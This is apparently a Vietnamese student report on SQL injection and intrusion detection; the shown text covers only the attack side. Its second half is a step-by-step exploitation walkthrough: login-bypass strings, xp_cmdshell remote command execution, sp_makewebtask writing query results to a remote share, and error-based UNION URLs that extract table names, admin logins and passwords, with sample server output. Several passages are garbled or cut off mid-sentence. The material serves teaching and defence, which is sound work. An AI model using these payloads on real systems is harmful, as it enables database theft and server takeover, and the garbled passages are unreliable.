Chi tiết về tấn công tiêm nhiễm SQL Chi tiết về các bước tấn công, phân loại và ví dụ về tấn công từng loại SQL Injection Tổng quan về IDSIPS Chi tiết về cách tạo rules,và chi tiết về Snort Cấu hình chi tiết từng bước cũng như lab thực hành chống lại SQL Injection các phiên bản mới nhất năm 2024
Trang 1Danh mục từ viết tắt
IMAP Internet Message Access Protocol
ICMP Internet Control Message Protocol
OISF Open Information Security Foundation
1
Trang 2Chương 1: Tổng quan đề tài
1.1 Giới thiệu
Ngày nay, hệ thống mạng máy tính đã trở nên rất phổ biến trong hầu hết các hoạt động kinh tế xã hội Đi đôi với sự phát triển đó là hàng loạt những cá nhân, nhóm và thậm chí cả những tổ chức hoạt động với những mục đích xấu nhằm phá hoại các hệ thống thông tin, gây tác
hại vô cùng to lớn đến tính an toàn và bảo mật trên các hệ thống
Với nhu cầu trao đổi thông tin ngày càng lớn, đòi hỏi các cá nhân, các cơ quan, tổ chức phải kết nối mạng Internet toàn cầu An toàn và bảo mật thông tin là một trong những vấn đề quan trọng hàng đầu khi thực hiện kết nối Internet Tuy nhiên, vẫn thường xuyên xảy ra các cuộc tấn công mạng gây nên những hậu quả vô cùng nghiêm trọng Những vụ tấn công đa phần vì mụcđích xấu và hiển nhiên là không hề được báo trước, số lượng các vụ tấn công tăng lên chóng mặt
và các phương pháp tấn công cũng liên tục được cải thiện Vì vậy việc kết nối máy tính vào mạngnội bộ cũng như vào mạng Internet cần phải có các biện pháp đảm bảo an toàn thông tin Trong các cuộc tấn công của tin tặc thì CSDL luôn là miếng mồi béo bở Lý giải cho vấn đề này là bởi CSDL lưu giữ những thông tin quan trọng như: Dữ liệu thiết yếu của khách hàng, kế hoạch phát triển, các dự đoán kinh tế, và nhiều thông tin quan trọng khác Thực tế cho thấy, sẽ có lợi hơn cho một tin tặc khi tấn công vào CSDL thay vì nghe lén giao tiếp qua mạng Mặt khác, dữ liệu thường được mã hóa trên đường truyền nhưng lại có thể được lưu dưới dạng rõ trong CSDL
Vấn đề an toàn và bảo mật thông tin luôn đóng một vai trò hết sức quan trọng trong bất
kỳ lĩnh vực nào Thông tin chỉ có giá trị khi nó giữ được tính chính xác, thông tin chỉ có tính bảo mật khi chỉ những người được phép nắm giữ thông tin biết được nó Để đảm bảo được tính an toàn và bảo mật cho một hệ thống cần phải có sự phối hợp giữa các yếu tố phần cứng, phần mềm
và con người Xuất phát từ những lý do trên, nhóm chúng em quyết định chọn đề tài: Thiết kế và thực thi hệ thống phát hiện xâm nhập CSDL
2
Trang 3Chương 1: Tổng quan về tấn công tiêm nhiễm SQL
1.1 Khái niệm tấn công tiêm nhiễm SQL
SQL viết tắt của Structured Query Language, nó được sử dụng để truy vấn, thao tác dữ liệu trong Database SQL Injection là kỹ thuật tấn công nhằm biến các điều kiện trong câu lệnh
SQL (SQL Statement) là luôn luôn đúng
Tiêm nhiễm SQL (còn gọi là SQL Injection) không còn là khái niệm quá mới, nhưng nó vẫn là một trong những kiểu tấn công mạng khá phổ biến Tấn công tiêm nhiễm SQL là một kỹ thuật tấn công vào hệ thống cơ sở dữ liệu của ứng dụng (web, mobile hoặc desktop …) thông qua việc kẻ tấn công lợi dụng lỗ hổng để tiến hành tiêm nhiễm mã độc vào câu truy vấn SQL và thi hành các câu lệnh SQL bất hợp pháp trên cơ sở dữ liệu (CSDL) đằng sau ứng dụng web
Thay vì nhập dữ liệu hợp lệ, kẻ tấn cống sẽ nhập một câu lệnh truy vấn độc hại bất kỳ vào, cókhả năng gây ra một số thiệt hại nghiêm trọng đối với cơ sở dữ liệu và toàn bộ hệ thống Kẻ tấn công
có thể lấy cắp được thông tin nhạy cảm của khách hàng, người dùng như tên, tuổi, địa chỉ, số tài khoản, số điện thoại … Ngoài ra, tấn công tiêm nhiễm SQL có thể cho phép những kẻ tấn công thực hiện các thao tác xóa, sửa, chèn, cập nhật trên CSDL của ứng dụng, thậm chí là máy chủ mà ứng dụng đó đang chạy Lỗi này thường xãy ra trên các ứng dụng web có dữ liệu được quản lý bằng các
hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase
Hình 1.1 Hình này mô tả cho qui trình một cuộc Tấn công tiêm nhiễm SQL Các bước thực
hiện như sau:
Bước 1: Tìm kiếm mục tiêu
Kẻ tấn công dò quét lỗ hổng của ứng dụng web Khi phát hiện lỗ hổng, hắn tiến hành tiêm nhiễm chuỗi ký tự độc hại, gửi đến CSDL thông qua ứng dụng web
Bước 2:
Máy chủ web tiếp nhận truy vấn tiêm nhiễm và gửi nó đến máy chủ ứng dụng web (Application server)
Bước 3: Tại máy chủ ứng dụng web, truy vấn tiêm nhiễm sẽ tiếp tục được chấp nhận do kẻ tấn
công đã khai thác lỗ hổng của chính ứng dụng web Nó tiếp tục được gửi đến máy chủ CSDL
(Database server)
Bước 4: Tại máy chủ CSDL, truy vấn tiêm nhiễm được thực thi Dữ liệu chứa thông tin nhạy
cảm của người dùng sẽ được trả về và hiển thị trên ứng dụng web
Bước 5: Kẻ tấn công nhận được thông tin nhạy cảm Sau đó, kẻ tấn công tiếp tục thực hiện các
tấn công tiêm nhiễm SQL khác 13 Trên đây là qui trình thực hiện tấn công tiêm nhiễm SQL Sau khithực hiện tấn công tiêm nhiễm CSDL, kẻ tấn công đã thu thập được thông tin nhạy cảm của người dùng hợp lệ như User ID, Password,… Kẻ tấn công có thể sử dụng chính những thông tin này để thực hiện các cuộc tấn công khác như leo thang, chiếm quyền điều khiển máy chủ CSDL
3
Trang 4Hình 1.1 Qui trình thực hiện tấn công tiêm nhiễm SQL
1.2 Phân loại tấn công tiêm nhiễm SQL
Tấn công tiêm nhiễm SQL được phân chia thành nhiều loại khác nhau tùy theo tiêu chí đánh giá Trong phạm vi nghiên cứu của luận văn, tấn công tiêm nhiễm SQL có thể chia làm
3 loại như sau:
- Order Wise
- Blind SQL Injection
- Against Database
4
Trang 5Hình 1.2 Phân loại tấn công tiêm nhiễm SQL
1.2.1 Order Wise.
Kết quả của tấn công tiêm nhiễm SQL có thể thấy được ngay sau khi tiêm nhiễm hoặc phản hồi sau một thời gian tiêm nhiễm Dựa trên thời gian phản hồi đó, có thể phân chia tấn công tiêm nhiễm SQL thành 3 loại sau:
Tiêm nhiễm First Order: Kẻ tấn công nhận được kết quả mong muốn ngay lập tức,
bằng các phản hồi trực tiếp từ ứng dụng đang tương tác hoặc một số cơ chế phản hồi khác, chẳng hạn như email…
Triển khai - Kẻ tấn công có thể gửi liên kết / tệp dưới dạng tệp đính kèm với email, khingười dùng nhấp vào liên kết / tệp này, tệp thực thi được xử lý trên hệ thống của người dùng
và tệp thực thi này tấn công ứng dụng / hệ thống Nó có thể lưu trữ mã độc trên máy chủ để khởi chạy chuỗi các cuộc tấn công Xem xét một ví dụ khác khi kẻ tấn công sử dụng mệnh
đề LIKE thì cơ sở dữ liệu sẽ trả về các nội dung phù hợp
Ví dụ: “SELECT email, password, login-id FROM members
WHERE email = '' OR fullname LIKE '%harry%';”
Tại đây, CSDL sẽ trả về thông tin của bất kỳ người dùng nào có tên có chứa "harry" Khi
đó, kẻ tấn công nhận được kết quả ngay lập tức, đó là lý do tại sao đó là cuộc tấn công Tiêmnhiễm First Order
Tiêm nhiễm Second Order: Việc thực hiện mã độc được kẻ tấn công tiêm vào ứng dụng,
nhưng không được ứng dụng kích hoạt ngay lập tức Các đầu vào độc hại được kẻ tấn công gieo vào hệ thống hoặc CSDL Điều này được sử dụng để gián tiếp kích hoạt tấn công tiêm nhiễm SQL sau này Nên khi cuộc tấn công xảy ra, câu truy vấn bị thay đổi không phải từ người dùng mà từ chính bên trong hệ thống
Tiêm nhiễm Lateral: Kẻ tấn công khai thác thủ tục PL/Query (Ngôn ngữ truy vấn cấu trúc).
Các biến có kiểu dữ liệu DATE hoặc NUMBER không nhận bất kỳ đầu vào nào từ người dùng và do đó thường không được coi là có thể khai thác tấn công Nó phụ thuộc vào kỹ thuật của kẻ tấn công
1.2.2 Blind SQL Injection
Tấn công tiêm nhiễm SQL ‘mù’ được sử dụng khi mà một ứng dụng web được cấu hình không hiển thị thông báo lỗi hay chỉ hiển thị những thông báo lỗi chung chung, không hiển
5
Trang 6thị ra lỗi của SQL Hai biến thể chính thực hiện tấn công tiêm nhiễm SQL “mù” là: Tấn công dựa vào nội dung phản hồi và Tấn công dựa vào độ trễ thời gian phản hồi.
Tấn công dựa vào nội dung phản hồi: Kẻ tấn công thêm các biểu thức TRUE/ FALSE
vào các truy vấn SQL khác nhau gửi đến CSDL ứng dụng web Sau đó, kết quả phản hồi của ứng dụng sẽ được phân tích
Ví dụ:
“SELECT book from PRODUCTS WHERE category =
'harry potter' AND 1 = 1;”
Truy vấn trên được thêm vào một mệnh đề luôn đúng “AND 1 = 1” Hệ thống trả về thông tin book phù hợp
“SELECT book from PRODUCTS WHERE category =
'harry potter’ AND 1 = 2;”
Truy vấn trên được thêm vào một mệnh đề luôn sai “AND 1 = 2” Điều này sẽ đánh giá TRUE hoặc FALSE Nếu kết quả trả về là một trang lỗi được hiển thị thì điều đó chứng tỏrằng ứng dụng web dễ bị tấn công tiêm nhiễm Các cuộc tấn công còn có thể thực hiện trên thanh địa chỉ của ứng dụng web
Tấn công dựa vào độ trễ thời gian phản hồi: cuộc tấn công thực hiện phân tích thời gian
phản hồi của hệ thống sau mỗi truy vấn SQL gửi đến Kẻ tấn công gửi truy vấn làm CSDL thực hiện một hành động tốn thời gian Nếu hệ thống không trả về phản hồi ngay lập tức thì ứng dụng này dễ bị tấn công tiêm nhiễm SQL Kẻ tấn công có thể đưa ra một truy vấn như bên dưới để đánh giá hệ thống
“SELECT book from PRODUCTS WHERE category = 'harry potter’ AND if(1=1, sleep(10), false);”
Nếu hệ thống có lỗ hổng tiêm nhiễm SQL thì phản hồi sẽ bị trễ 10 giây với truy vấn trên
1.2.3 Against Database
Có nhiều kỹ thuật tấn công Against Database Một số kỹ thuật tấn công tiêu biểu như sau:
Tautologies: Mục đích của một cuộc tấn công dựa trên tautology là tiêm mã vào một hoặc nhiều
câu lệnh điều kiện luôn đúng Trong loại tấn công SQL này, kẻ tấn công khai thác tiêm nhiễm vào mệnh đề WHERE, tức là các truy vấn luôn trả về kết quả khi đánh giá tham số điều kiện tại mệnh đề WHERE
Tất cả các hàng trong bảng cơ sở dữ liệu được truy vấn trả về khi chuyển đổi điều kiện
thành một tautology Ví dụ: Kẻ tấn công có thể nhập chuỗi “‘or ‘1’ = ‘1 “ Truy vấn kết quả
Trang 7password Như vậy là kẻ tấn công có thể có dữ liệu truy cập của toàn bộ người dùng Với trường hợp đăng nhập hệ thống, ở đây kẻ tấn công đã vượt qua được xác thực
Chú thích cuối dòng: Kẻ tấn công lợi dụng việc CSDL sẽ bỏ qua chuỗi đằng sau dấu chú thích
dòng, ví dụ như “ ” hay “# “, khi thực thi truy vấn Bằng cách chèn dấu chú thích vào vị trí thích hợp của câu truy vấn, kẻ tấn công sẽ lừa được CSDL thực thi câu truy vấn đã bị thay đổi Ví dụ, kẻ tấn công tiến hành chèn dấu chú thích vào trường user_name, câu truy vấn sẽ trở thành như sau:
“SELECT * FROM user_account WHERE user_name = ’admin’ AND password = ’’;”
Như vậy, khi kiểm tra, CSDL sẽ tiến hành đăng nhập với tài khoản là admin Tuy nhiên với trường hợp, trong bảng user_account không có user_name nào là admin thì kẻ tấn côngcũng không thể xâm nhập vào cơ sở dữ liệu
Ngoài ra, kẻ tấn công có thể kết hợp với tautologies để lấy được dữ liệu
Ví dụ, kẻ tấn công thêm “‘ or 1=1 “ vào trường user_name Câu truy vấn sẽ như sau:
“SELECT * FROM user_account WHERE user_name = ’’ or 1=1 ' AND password = ’’;”
Kết quả tương tự như tautologies Dấu chú thích ở đây được chèn vào cho phù hợp với cú pháp
SQL
Suy luận: Trong cuộc tấn công này, truy vấn được sửa đổi thành dạng thực hiện dựa trên câu trả lời
cho câu hỏi true /false về các giá trị dữ liệu trong CSDL Trong kiểu tiêm nhiễm này, đối tượng là các trang web có đủ bảo mật để chống lại các tấn công tiêm nhiễm hiện thời Kẻ tấn công phải sử dụng một phương pháp khác để có được phản hồi từ CSDL Ở đây, kẻ tấn công tiêm nhiễm các lệnh vào trang web và sau đó quan sát cách trang web phản hồi Bằng cách quan sát cẩn thận hành
vi thay đổi của trang web, kẻ tấn công có thể ngoại suy không chỉ các tham số dễ bị tổn thương mà còn có thêm thông tin về các giá trị trong cơ sở dữ liệu Các nhà nghiên cứu đã báo cáo rằng với những kỹ thuật này, họ đã có thể đạt được tốc độ trích xuất dữ liệu là 1B / s
Xem xét hai chuỗi tiêm nhiễm có thể thêm vào trường đăng nhập Đầu tiên là “admin’ and 1 = 0 ” và “admin’ and 1 = 1 " Điều này dẫn đến hai truy vấn sau:
“SELECT * FROM user_account WHERE user_name
= ’admin’ and 1=0 ' AND password = ’abc123’;”
“SELECT * FROM user_account WHERE user_name = ’admin’ and 1=1 ' AND password = ’abc123’;”
Trong trường hợp đầu tiên, ứng dụng được bảo mật và đầu vào để đăng nhập được xác thực chính xác Cả hai truy vấn sẽ trả về thông báo lỗi đăng nhập và kẻ tấn công sẽ biết rằng tham số đăng nhập không dễ bị tấn công
7
Trang 8Trong kịch bản thứ hai, ứng dụng không an toàn và tham số đăng nhập dễ bị tiêm nhiễm Kẻtấn công gửi chuỗi tiêm nhiễm đầu tiên và nhận được thông báo lỗi đăng nhập, vì nó luôn bị đánh giá là sai Tuy nhiên, kẻ tấn công không biết liệu đây có phải là do ứng dụng xác thực đầu vào chính xác và ngăn chặn tấn công hay do chính cuộc tấn công gây ra lỗi đăng nhập Kẻ tấn công sau
đó gửi truy vấn thứ hai, kèm mệnh đề luôn đúng Nếu trong trường hợp này không có thông báo lỗi đăng nhập, thì kẻ tấn công biết rằng cuộc tấn công đã đi qua và tham số đăng nhập dễ bị tiêm nhiễm
Truy vấn Union: Với kỹ thuật này, kẻ tấn công lợi dụng lỗ hổng tham số để thay đổi bộ dữ liệu trả
về cho một câu truy vấn Với câu truy vấn hợp lệ bên trên, kẻ tấn công có thể tiêm nhiễm vào trường login là “’ UNION SELECT bankNumber FROM Bank WHERE ID =101 ” Lúc này câu truy vấn sẽ trở thành:
“SELECT * FROM user_account WHERE user_name = ’’
UNION SELECT bankNumber FROM Bank WHERE ID = 101
' AND password = ’’;”
Với câu truy vấn đã bị thay đổi trên, CSDL dù không tìm thấy bản ghi login nào phù hợp với “user_name = ’’”nhưng vẫn sẽ tìm thấy bản ghi bankNumber phù hợp với “ID = 101” CSDL sẽ tiến hành hợp 2 bộ kết quả, và bankNumber vẫn sẽ được trả về cho ứng dụng
Truy vấn Piggy-Backed: Kỹ thuật tấn công này dựa vào máy chủ CSDL được cấu hình để thực thi
nhiều câu truy vấn khác nhau trên cùng 1 dòng mã và được ngăn cách bởi dấu “;” Kẻ tấn công sẽ chèn thêm các câu truy vấn trái phép vào câu truy vấn ban đầu với mục đích trích xuất dữ liệu, thayđổi dữ liệu, thực hiện từ chối dịch vụ hay thực thi lệnh từ xa Ví dụ, kẻ tấn công có thể nhập mã độc
“’; SHUTDOWN ” vào trường user_name Câu truy vấn lúc này sẽ là
“SELECT * FROM user_account WHERE user_name = ’’;
SHUTDOWN ‘; AND password =’’;”
Khi thực thi câu truy vấn trên, CSDL sẽ thực thi luôn câu lệnh
“SHUTDOWN”, CSDL sẽ bị tắt, một loạt các truy vấn hợp lệ sau đó sẽ không kết nối được
1.3 Một Số Dạng Tấn Công SQL Injection Thông Dụng
Có một số dạng tấn công thường gặp bao gồm: vượt qua kiểm tra lúc đăng nhập, sử dụng câu lệnh SELECT, sử dụng câu lệnh INSERT, sử dụng các stored-procedures
và dạng Chèn SQL dựa trên cookie, Chèn SQL dựa trên tiêu đề HTTP , Chèn SQL bậc hai
8
Trang 91.3.1 Dạng tấn công vượt qua kiểm tra lúc đăng nhập
Với dạng tấn công này, tin tặc có thể dễ dàng vượt qua các trang đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web Thông thường để cho phép
người dùng truy cập vào các trang web được bảo mật, hệ thống thường xây dựng trang đăng
nhập để yêu cầu người dùng nhập thông tin về tên đăng nhập và mật khẩu Sau khi người dùng nhập thông tin vào, hệ thống sẽ kiểm tra tên đăng nhập và mật khẩu có hợp lệ hay không để
quyết định cho phép hay từ chối thực hiện tiếp
1.3.2 Dạng tấn công sử dụng câu lệnh SELECT
Dạng tấn công này phức tạp hơn Để thực hiện được kiểu tấn công này, kẻ tấn công phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi từ hệ thống để dò tìm các điểm yếu khởi đầu cho việc tấn công Ví dụ, trong các trang tìm kiếm Các trang này cho phép người dùng nhập vào các thông tin tìm kiếm như Họ, Tên, … Đoạn mã thường gặp là:
Set objRS = Nothing %>
Tương tự như trên, tin tặc có thể lợi dụng sơ hở trong câu truy vấn SQL để nhập vào trường tên tác giả bằng chuỗi giá trị:
' UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE ' '=' (*)
Lúc này, ngoài câu truy vấn đầu không thành công, chương trình sẽ thực hiện thêm lệnh tiếp theosau từ khóa UNION nữa Giả sử đoạn mã nhập vào là:
' DROP TABLE T_AUTHORS
Câu truy vấn sẽ thực hiện việc xóa bảng
1.3.4 Dạng tấn công sử dụng câu lệnh INSERT
Thông thường các ứng dụng web cho phép người dùng đăng kí một tài khoản để tham gia Chức năng không thể thiếu là sau khi đăng kí thành công, người dùng có thể xem và hiệu chỉnh thông
9
Trang 10tin của mình SQL injection có thể được dùng khi hệ thống không kiểm tra tính hợp lệ của thông tin nhập vào Ví dụ, một câu lệnh INSERT có thể có cú pháp dạng:
INSERT INTO TableName VALUES('Value One', 'Value Two', 'Value Three')
Nếu đoạn mã xây dựng câu lệnh SQL có dạng :
<%
strSQL = "INSERT INTO TableName VALUES(' " & strValueOne & " ', ' "
_ & strValueTwo & " ', ' " & strValueThree & " ') " Set
objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN= "
…
Set objRS = Nothing %>
Thì chắc chắn sẽ bị lỗi SQLi, bởi vì nếu ta nhập vào trường thứ nhất ví dụ như:
' + (SELECT TOP 1 FieldName FROM TableName) + '
Lúc này câu truy vấn sẽ là :
INSERT INTO TableName VALUES(' ' + (SELECT TOP 1 FieldName FROM TableName) + ' ', 'abc', 'def')
Khi đó, lúc thực hiện lệnh xem thông tin, xem như bạn đã yêu cầu thực hiện thêm một lệnh nữa
‘cmdd.exe dir C: ' Lúc này hệ thống sẽ thực hiện lệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt
server Việc phá hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe fg “
1.3.6 Chèn SQL dựa trên cookie
Một cách tiếp cận khác đối với SQL injection là sửa đổi cookie thành các truy vấn
cơ sở dữ liệu "độc" Các ứng dụng web thường tải cookie và sử dụng dữ liệu của chúng như một phần của hoạt động cơ sở dữ liệu Người dùng độc hại hoặc phần mềm độc hại được triển khai trên thiết bị của người dùng, có thể sửa đổi cookie, để đưa SQL vào cơ sở dữ liệu phụ trợ theo cách không mong muốn.
10
Trang 111.3.7 Chèn SQL dựa trên tiêu đề HTTP
Các biến máy chủ như tiêu đề HTTP cũng có thể được sử dụng cho SQL injection Nếu một ứng dụng web chấp nhận đầu vào từ các tiêu đề HTTP, các tiêu đề giả có chứa SQL tùy ý có thể đưa mã vào cơ sở dữ liệu.
1.3.8 Chèn SQL bậc hai
Đây có thể là các cuộc tấn công SQL injection phức tạp nhất, vì chúng có thể nằm
im trong một thời gian dài Một cuộc tấn công SQL injection bậc hai cung cấp dữ liệu
bị nhiễm độc, dữ liệu này có thể được coi là lành tính trong một ngữ cảnh, nhưng lại độc hại trong một ngữ cảnh khác Ngay cả khi các nhà phát triển làm sạch tất cả các đầu vào của ứng dụng, họ vẫn có thể dễ bị tấn công kiểu này.
Qua các mô tả khá đầy đủ trên đã có môt cái nhìn tổng quan về SQL injection, để tấn công dạng này các hacker thường tiến hành các bước như sau :
1 Tìm kiếm mục tiêu
- Có thể tìm các trang web cho phép submit dữ liệu ở bất kì một trình tìm kiếm nào trên
mạng, chẳng hạn như các trang login, search, feedback,
- Sư dụng trình duyệt tìm kiếm các trang đăng nhập của web site hay những trang tiếp nhận dữ liệu đầu vào như các form khai báo mất và phục hồi mật khẩu Kiểm tra các
trang hiển thị lệnh POST hay GET bằng cách tìm kiếm trong source code như trong bài tập hack trên trang web học tấn công khá nổi tiếng là www.hackthisite.org
Ví dụ:
http://yoursite.com/index.asp?id=10
Một số trang web chuyển tham số qua các field ẩn, phải xem mã HTML mới thấy rõ Ví
dụ như ở dưới
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>
2.Các bước khai thác
Khi phát hiện thấy máy chủ hay trang web bị lỗi hacker sẽ dùng các lệnh SELECT để lấy
dữ liệu từ máy chủ hay lệnh INSERT đển chèn thông tin vào cơ sở dữ liệu
11
Trang 12Hình 1.3 – Attacker khai thác lỗi SQL injection bằng form đăng nhập
Hình 1.4 – Các công cụ tấn công SQL injection
2.1 Kiểm tra chỗ yếu của trang web
-Thử submit các field username, password hoặc field id, bằng hi' or 1=1—
3 Login: hi' or
4 Password: hi' or
1=1 12
Trang 135 http://yoursite.com/index.asp?id=hi' or
1=1 Nếu site chuyển tham số qua field ẩn, hãy download source HTML, lưu trên đĩa cứng
và thay đổi lại URL cho phù hợp
Ví dụ:
<FORM action=http://yoursite.com/Search/search.asp method=post>
<input type=hidden name=A value="hi' or 1=1 ">
</FORM>
- Nếu thành công, thì có thể login vào mà không cần phải biết username và password
-Kiểm tra máy chủ SQL bằng các truy vấn dùng cặp dấu nháy đơn (‘’) nếu máy chủ đáp ứng bằng các thông điệp như use ‘a’=’a’ hay tương tự như vậy thì các hacker có thể đoán được máy chủ có khả năng bị tấn công theo dạng SQL injection
3 Lí do ' or 1=1 có thể vượt qua phần kiểm tra đăng nhập
Giả sử như có một trang ASP liên kết đến một ASP trang khác với URL như sau:
Trang 14SELECT * FROM product WHERE PCategory='food'
Dòng query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCategory='food'
Nếu thay đổi URL trên thành http://yoursite.com/index.asp?category=food' or 1=1 , biến v_cat
sẽ chứa giá trị "food' or 1=1 " và dòng lệnh SQL query sẽ là:
SELECT * FROM product WHERE PCategory='food' or 1=1 '
Dòng query trên sẽ select mọi thứ trong bảng product bất chấp giá trị của trường PCategory có bằng 'food' hay không Hai dấu gạch ngang ( ) chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau " " sẽ bị bỏ qua Đối với MySQL, hãy thay " " thành "#"
Ngoài ra, cũng có thể thử cách khác bằng cách submit ' or 'a'='a Dòng SQL query bây giờ sẽ là:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
Một số loại dữ liệu khác mà cũng nên thử submit để biết xem trang web có gặp lỗi hay không:
Trang 154 Thi hành lệnh từ xa bằng SQL Injection
Nếu cài đặt với chế độ mặc định mà không có điều chỉnh gì, MS SQL Server sẽ chạy ở mức SYSTEM, tương đương với mức truy cập Administrator trên Windows Có thể dùng store
procedure xp_cmdshell trong CSDL master để thi hành lệnh từ xa:
'; exec master xp_cmdshell 'ping
10.10.1.2' Hãy thử dùng dấu nháy đôi (") nếu dấu nháy đơn (') không làm việc
Dấu chấm phẩy (sẽ kết thúc dòng SQL query hiện tại và cho phép thi hành một SQL command mới Để kiểm tra xem lệnh trên có được thi hành hay không, có thể listen các ICMP packet từ 10.10.1.2 bằng tcpdump như sau:
#tcpdump icmp
Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành
5 Nhận output của SQL query
Có thể dùng sp_makewebtask để ghi các output của SQL query ra một file HTML
'; EXEC master sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
Chú ý: folder "share" phải được share cho Everyone trước
6.Nhận dữ liệu qua 'database using ODBC error message'
Các thông báo lỗi của MS SQL Server thường đưa cho bạn những thông tin quan trọng Lấy ví dụ
ở trên http://yoursite.com/index.asp?id=10, bây giờ chúng ta thử hợp nhất integer '10' với một string khác lấy từ CSDL:
15
Trang 16http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
Bảng INFORMATION_SCHEMA.TABLES của hệ thống SQL Server chứa thông tin về tất cả các bảng (table) có trên server Trường TABLE_NAME chứa tên của mỗi bảng trong CSDL Chúng ta chọn nó bởi vì chúng ta biết rằng nó luôn tồn tại Query của chúng ta là:
SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES Dòng query này sẽ trả về tên của bảng đầu tiên trong CSDL
Khi chúng ta kết hợp chuỗi này với số integer 10 qua statement UNION, MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lỗi sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value
'table1' to a column of data type int.
/index.asp, line 5
Thông báo lỗi trên cho biết giá trị muốn chuyển sang integer nhưng không được,
"table1" Đây cũng chính là tên của bảng đầu tiên trong CSDL mà chúng ta đang muốn có.
Để lấy tên của tên của bảng tiếp theo, có thể dùng query sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')
Cũng có thể thử tìm dữ liệu bằng cách khác thông qua statement LIKE của câu lệnh SQL:
16
Trang 17http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login
%25' Khi đó thông báo lỗi của SQL Server có thể là:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5
Mẫu so sánh '%25login%25' sẽ tương đương với %login% trong SQL Server Như thấy trong thông báo lỗi trên, chúng ta có thể xác định được tên của một table quan trọng là "admin_login".
7 Xác định tên của các column trong table
Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table Có thể khai thác như sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME='admin_login' Khi đó thông báo lỗi của SQL Server có thể như sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
17
Trang 18/index.asp, line 5
Như vậy tên của column đầu tiên là "login_id" Để lấy tên của các column tiếp theo,
có thể dùng mệnh đề logic NOT IN () như sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN
('login_id') Khi đó thông báo lỗi của SQL Server có thể như sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5
Làm tương tự như trên, có thể lấy được tên của các column còn lại như "password",
"details" Khi đó ta lấy tên của các column này qua các thông báo lỗi của SQL Server, như ví dụ sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN
('login_id','login_name','password',details') Khi đó thông báo lỗi của SQL Server có thể như sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear
in the select list if the statement contains a UNION operator.
18
Trang 19/index.asp, line 5
8 Thu thập các dữ liệu quan trọng
Chúng ta đã xác định được các tên của các table và column quan trọng Chúng ta sẽ thu thập các thông tin quan trọng từ các table và column này.
Có thể lấy login_name đầu tiên trong table "admin_login" như sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login
Khi đó thông báo lỗi của SQL Server có thể như sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5
Dễ dàng nhận ra được admin user đầu tiên có login_name là "neo" Hãy thử lấy password của "neo" như sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM
admin_login where
login_name='neo' Khi đó thông báo lỗi của SQL Server có thể như sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
19
Trang 20http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM
admin_login where
login_name='trinity' Thì khi đó chỉ nhận được thông báo lỗi "Page Not Found" Lý do bởi vì server có thể chuyển passoword "31173" sang dạng số trước khi UNION với integer 10 Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này
để làm thất bại sự chuyển đổi từ text sang số của server Dòng query mới như sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password
%2b'%20morpheus') FROM admin_login where
